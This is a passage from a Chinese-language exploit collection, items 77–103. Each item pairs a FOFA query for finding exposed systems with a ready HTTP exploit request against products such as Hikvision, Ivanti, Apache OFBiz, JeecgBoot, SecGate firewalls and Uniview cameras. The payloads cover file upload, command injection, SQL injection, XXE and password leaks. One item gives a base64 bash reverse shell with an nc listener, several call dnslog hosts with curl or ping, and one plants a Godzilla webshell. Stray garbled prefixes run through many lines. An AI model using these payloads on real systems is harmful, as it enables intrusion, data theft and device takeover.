77. F22服装管理软件系统UploadHandler.ashx任意文件上传
; c& i: p% [# H* @FOFA：body="F22WEB登陆"
$ }0 i9 [4 T1 \8 Q: JPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# h7 W. n! M; d" c, X3 E9 e$ b+ tConnection: close
Content-Length: 433
Accept: */*
0 E# t: ]! b5 p) ?. PAccept-Encoding: gzip, deflate
' o8 Y# D; x$ |) Z, BAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
, }+ W9 c+ i; z/ e5 }, a+ YContent-Disposition: form-data; name="folder"

, |6 W# J" F$ a* x- l/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
) U$ t7 X1 h9 H! H
hello1234567
" a7 k& p; L7 @3 Z  f) o7 O------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
# w/ s- \* E4 G
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
' F! s" Y& ]8 _

9 \) d! M1 Q7 I78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
+ E9 q" H# A: ~* s0 }! bFOFA：icon_hash="2001627082"
8 ~- m0 s; _- A& W% P+ O# OPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 M: l- I- A. x; O; c- ^9 j3 N6 X. pContent-Length: 336
9 L( |% x% m8 f, F3 uAccept-Encoding: gzip
1 j2 M* e, y. b. P& o* zContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
, M8 r* ]  n3 O" ?( I# k
, h% `% q4 _4 f& u% E7 D7 G------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/ ]& @0 f% F3 Q$ A7 N; Z  F/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

* j1 w; J1 [1 b: }# q5 g; U3 p. h; B
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
7 x" a- x; y1 ]$ a$ o" s: U+ g6 iHost: x.x.x.x

0 `6 O8 Q2 N) B+ z* W8 b! h! |% e/ N
2 i6 U4 V8 x# ]; p79. BYTEVALUE 百为流控路由器远程命令执行
. E  H0 g$ q) P+ {7 u: jFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
2 W, A' F" T; b4 T; wHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 p; j4 h9 T( ~3 q5 ]5 TConnection: close
Upgrade-Insecure-Requests: 1
5 N# S9 G6 ~: x! l

5 N; C1 C  V1 ~6 m6 A- g7 W80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
+ i8 B. t8 E+ b$ i% F: j! uPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
) s6 D( p" b+ r8 D4 THost: x.x.x.x
" Z/ J. f6 j7 T& ]+ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Q/ B# Q# U  M0 W  LConnection: close
8 u4 C* N5 r8 nContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

8 Y3 ?2 l; I3 N<% out.print("oessqeonylzaf");%>


) E, G$ o* m8 z0 Y0 y$ p7 F# w$ MGET /xykqmfxpoas.jsp HTTP/1.1
! e+ J+ y0 V" Y! I9 E) H% YHost: x.x.x.x
0 m- q" j" j$ z: A" k. K' G0 [6 ], J0 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ T8 M9 V8 _& U' LAccept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
) k+ \! a, X/ TFOFA：app="uniview-视频监控"
% y5 h& o6 U  y& f8 uGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
" E3 a; C- G, ~% {" C+ w; SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 F& H( K7 z+ T# JAccept-Encoding: gzip
3 p  g/ \8 q8 a# p  p0 }

8 m/ ]0 Y6 I) R# N7 {82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
: m' U" u! m! E1 F  rFOFA：app="思福迪-LOGBASE"
/ z4 I$ R: a; U1 hPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
: `; o0 H% ~- |# @User-Agent: Go-http-client/1.1
* {9 g- H! B% c4 r- [/ p  gContent-Length: 23
Accept-Encoding: gzip
Connection: close
! Y, g5 ~. j" qContent-Type: application/x-www-form-urlencoded
: s* U+ ~7 W  Z* wReferer: BaseURL
% E/ E; l  c. \" O+ V8 E6 f
' E4 M3 c1 U% _: p4 W1 A7 dz1=1&z2="|id;"&z3=bhost
# s# l+ B5 `( T% C' Q+ O
, N: u" h4 [* e" I; q* j8 n
$ F* c/ m' I. x  W- Q' Y83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

7 r" V: X; S8 P) h1 j
/ A% g0 M8 T/ K% i  g5 lPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
8 p; @, z7 e9 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, t2 D  i+ f% Q+ ~7 x- P' f/ Y6 _6 RConnection: close
Content-Length: 8881
5 z: Z2 F6 \0 p' d, f8 U1 F; ~Accept-Encoding: gzip
' y9 K1 w. [& B+ S& wCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD

2 |& X8 W8 {) v8 ^84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

3 x9 i$ ?  X# \
9 a$ T! n1 t" a$ X6 k: i" o2 I+ m: E
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
- c( x6 q4 d# O7 ]! v2 K# s+ p3 M; nUser-Agent: curl/7.88.1
Content-Length: 156
+ a8 l7 ?/ g3 E0 R" c: vAccept: */*
1 N( R( T! y% V1 I4 UConnection: close
Content-Type: application/json
: q( M7 i- J5 w( E3 l- H$ [# s4 X  OAccept-Encoding: gzip

{
. e. x' y8 H- | "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
3 R' S6 @( ~( _0 ?9 j2 M6 c

85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
, V4 U- p  L. X4 Z9 e+ {0 N2 g7 @
PAYLOAD
4 D5 @( {& |- j3 K' p  C4 s4 ]3 }
" k- K" P% L8 j0 R2 i- t回显URL：http://x.x.x.x/userfiles/index.jsp
6 z7 h* J5 p: t, p" Z; @
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
' {% ?  t) X9 a4 J* x* f; O% NPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 }" H& N1 t, g6 b  d# DConnection: close
# J2 Z2 ?3 \- |! B6 G- ?) ]( dContent-Length: 44
) _" S( T% P4 _Accept: */*
Accept-Encoding: gzip
9 I0 k$ T$ o) I% B* F/ j/ UAccept-Language: en
Content-Type: application/x-www-form-urlencoded

3 [/ e1 ]+ e2 Q) k" U6 h  mhost=%0acat${IFS}/etc/passwd%0a&command=ping


* S6 p6 S$ R! B87. 安恒明御安全网关aaa_local_web_preview文件上传
; p( l; P* }* G/ G1 M9 U* y7 oFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
) h: ^( P( F6 U  S0 |- r2 ZHost: X.X.X.X
; V5 @$ z) P5 e+ XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 @9 [2 @5 x- r+ b  l$ J) `/ cConnection: close
" M' B" T! d. g( R; h% }Content-Length: 198
  x, j, m  K  \9 s. L, AAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

! j4 u2 c) H3 M3 s--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

) j( `8 m0 x) z- G! S: e& \) [  @2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
. G" ]- ?3 x# D& R/ T5 n
& V6 ]) D$ }7 \, [$ d
/ M$ g' {2 F. F( w) r/jfhatuwe.php

$ {" z3 d8 c" r! Y5 t88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
& [1 U$ A- K* F$ MFOFA：title="明御安全网关"
' E& N* v8 ^$ Z/ u+ u, x8 C# bGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ N* X, C/ f% a  V: {8 J2 z/ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 g: a, T' F' |0 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. J5 w( {" w+ A% wConnection: close


0 ~8 s0 N  P- ~* s0 O* U& b) U/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
! c* Z+ l# y/ f- d1 Z. o3 |% NFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
* R; G5 z" E/ D1 J0 V5 \1 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
! ^- }% c) v5 \: {0 n* AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. i  z$ P9 }9 |0 a/ W% D  Roption=2&GUID=-1'+union+select+111*222--+


1 n% `: f. J" a& T$ F0 s90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 g7 A' n' T: p1 S( N5 hFOFA：icon_hash="-1830859634"
: a8 K+ T, C( z1 _8 BPOST /php/ping.php HTTP/1.1
) {) l- a" B( c9 l2 J' X* dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
. u* V' W6 W( e! p0 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; @6 U% U! [* q+ EConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
* t7 s/ M( s$ a( A0 ]! z  w+ |! ?+ v. C
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

* X) ^% k$ z& E* I
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
- N; ?0 k5 N  U  p& lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



92. 海康威视运行管理中心session命令执行
, r6 `) H, [4 F/ c: s7 \( dFastjson命令执行
& Y5 O9 I( h- s) nhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
/ o* i, ]( H, B- |" |! B4 |. I' CAccept: application/json, text/plain, */*
% O2 t; q  {% i$ T! k6 l! oAccept-Encoding: gzip, deflate
/ c1 v, b1 q* OX-Requested-With: XMLHttpRequest
, @* T) e7 u9 {6 N, h  iContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
8 i8 i+ b8 r1 l& u& ~/ }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
, |0 {+ [3 k% W# N, NContent-Length: 5778

9 E  H) ~% S% ~- m+ vPAYLOAD
4 z; p& ]; G( h) |, I9 B: x, D
& [- U) R! _1 ~
0 t, A9 x- l' V" g; ?, Z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  J( D& ^6 f, [: h& N, A+ \$ _POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
* H& b+ ?( r+ R& G9 x0 K7 }Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' j- ?* S! S5 K9 a
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
9 R" L+ [7 C* d  H
" j9 F) O2 Q1 p* t: A2 ?- G1 s% w10000000
# g9 V1 p1 Q: p/ i+ T) r------WebKitFormBoundarykcbkgdfx
( T+ C5 S3 C# aContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
# q+ u5 F& O$ A1 I; |" JContent-Type: text/plain

* S- b& k' |- L- W( R& Bwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
, c, q$ i9 s+ W7 w3 Q& Y
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
( F& ?: ~; L% LHost: xx.xx.xx.xx
+ ?1 [3 u2 t. m7 N. L; L% s! {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

7 k8 T) p& I2 a+ _( ^& T1 \* J
% k% s' L  ^! q94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
' L# b/ T9 L  O$ t3 e: TFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
( F$ v+ ^) m6 J8 z6 ?( o# q, _POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( G9 U3 C8 ?7 N
- _5 D$ r+ p, |$ t% ?- c0 K------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

& J; G; t0 Y: c! \4 M/ mpxplitttsrjnyoafavcajwkvhxindhmu
& U* y2 M# s, f2 \* Q------WebKitFormBoundarybqvzqvmt
5 H1 c! }3 v: D5 T' \' RContent-Disposition: form-data; name="submit_post"

  ]7 f8 ]+ j+ Q+ @obj_app_upfile
5 T6 }  \7 Q/ q------WebKitFormBoundarybqvzqvmt
7 f6 S" B9 \, {  g9 t9 i6 XContent-Disposition: form-data; name="__hash__"
* t, c& U9 V& Y- |" k7 d6 }
. b) Y$ h% L+ Y8 J8 o6 g3 |0b9d6b1ab7479ab69d9f71b05e0e9445
6 N' {: |  n: ]# e------WebKitFormBoundarybqvzqvmt--
: v5 L$ G6 B! S  f) y4 R
6 C( F4 x- a$ W5 [- G" I3 x
8 w' N8 B* c  ^2 r, {) C
- @  }- ]! T6 q0 ^/ ]GET /attachements/xlskxknxa.txt HTTP/1.1
4 P8 s4 U  H+ |" F" K2 b" D( jHost: xx.xx.xx.xx
# t/ F' E+ ?" fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



4 Z+ P' }/ o, l* g) s# s" B95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
* M" x0 a, y/ d; O0 f, WFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
" y7 R2 c) W, mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
0 r2 b& p$ Z2 w! b6 ~, T" o* dContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
; o$ N6 X2 a9 T8 r7 q
<?xml version="1.0"?>
<methodCall>
: j# m  E* c) q6 g+ V  S9 q  r   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
' K6 p/ [  D6 T    <params>
      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
- v. L* a/ Q! ~3 I  k; h. m    </param>
; Y9 u; |4 ?9 Q& |3 M    </params>
</methodCall>
* I* G, M/ p% Z5 ?

用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
1 o$ S! w' A( d# M$ Q3 k; R+ U
+ H7 f7 m* L0 S6 f
" L0 G1 _2 \7 y% }将生成的payload替换到上面的POC
  @$ t. ~) F# |; n  J6 I* XPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
5 V% c# `; N5 a; CHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. D; q! `$ w/ ZConnection: close
Content-Length: 889
1 K6 l8 ^1 n# b; d" }! r5 ]Content-Type: application/xml
Accept-Encoding: gzip
2 l9 F. \  d# K$ G1 e/ r: O  J
PAYLOAD
- ^+ p$ U: r& N: |5 m! e3 |
, n8 ]. c8 A+ O1 t  k1 d. w96. Apache OFBiz  18.12.11 groovy 远程代码执行
, S' Z; L6 K* ]6 m+ `' Y& nFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, ~$ v3 m0 g' q. {5 \; x- G- GHost: localhost:8443
: G# [/ q) Y% g& C( QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ D; f( h5 E- i$ lAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
5 @# F. t$ t' h+ w: G- H
groovyProgram=throw+new+Exception('id'.execute().text);

* h& `# B6 x$ ^  A! |. @0 ]
反弹shell
在kali上启动一个监听
nc -lvp 7777
+ B* b3 U, _' n" y
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
0 r6 G& X! ~/ \6 \, |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' B, D0 h8 v2 N7 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
8 \1 A: O: {4 q: aContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
, f4 L5 n$ }: U
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
" g  w' N) P5 [4 m9 F1 O# T1 ~FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
7 G. O" A- p6 E/ Q' c6 u, \' D! tGET /passport/login/ HTTP/1.1
  P0 B& V4 K+ pHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
. D0 N( @. g: F1 e) zCookie: rememberMe=PAYLOAD
9 }  p1 x0 P; d2 O3 y* {' o/ IX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

. w: y( T' q0 K8 Q* ~3 M, ^
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
9 j' F5 r5 Y: H0 I, tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 N: P" Q! g; _0 k! Q$ K. V* _1 X2 tConnection: close
Content-Length: 121
Accept: */*
) u9 b9 E8 M& ^7 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, V$ ^( F% e7 `+ M. h: F7 vContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
; H# R# }% c3 M
* i; W. |/ G- H9 ?4 Rid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

8 g" x# e8 C. ]/ M2 ^+ R" ]. N5 }
' d4 L6 J: C, }1 B$ B99. Ncast盈可视高清智能录播系统busiFacade RCE
9 k, U  e  T" \2 k* K9 r. V' a" PCVE-2024-0305
! z% s: S* l: f) |* L, t) f5 pFOFA：app="Ncast-产品" && title=="高清智能录播系统"
" a( s9 d. W2 \" c; t$ o. MPOST /classes/common/busiFacade.php HTTP/1.1
' ^! l0 z5 ~# R1 G* B" y) e3 z. LHost: 192.168.40.130:8080
  p8 {9 i) Z" ^3 i- qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
4 v3 h3 C7 [# D1 RContent-Length: 154
Accept: */*
; _. e0 ~3 l; J$ q0 c% r4 qAccept-Encoding: gzip, deflate
$ n! r6 `* [! q& TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
8 [6 f5 `1 _+ L
! C9 T! [5 |3 v. Z1 A%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


6 G+ I" Y; f$ g) k6 T100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* ?" |# u( m. ~" O4 }  X3 V2 u: zCVE-2024-0352
6 W, o% w# H: Q! X9 MFOFA：icon_hash="874152924"
3 X* C. o/ L4 k2 E6 n$ VPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
8 _6 u: y* `6 k* j- ~( O2 P/ gUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
2 H. _( g& R6 x! m- L. BContent-Length: 201
0 q2 K! U( ]' d3 x6 i4 n( t# RContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
; I; _5 w( b; }  _  J. nAccept-Encoding: gzip
5 ~- N3 a3 H5 @8 }
------WebKitFormBoundarygcflwtei
3 P% P. M. {" Q1 H( ]! U/ I7 CContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
+ b+ Q+ _/ e7 D  h, I
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
1 p  z* Y4 c- WFOFA：body="welcome.cgi?p=logo"
# y) a5 h+ X( ^GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
; m+ G0 g$ E! D6 m6 W4 a( @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


) K# T: _2 f: V% j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
0 r  ~" ?5 ~8 A2 ]5 [FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
9 B3 F  V4 e! ]+ [4 |& gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
) b: Z5 q& j7 z( pContent-Length: 792
& b/ `: T! y3 w6 wAccept-Encoding: gzip
* m' @& u$ p" H& ~: {. s# ]' ?
& H! S$ H) f# b' b) d; S$ e2 [5 t+ I<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
+ p+ T  \  v! X9 M3 ^  KCVE-2024-22024
  @. L9 X2 p- y; a6 rFOFA：body="welcome.cgi?p=logo"
. }- P1 X# ]. d( z" G1 p- HPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
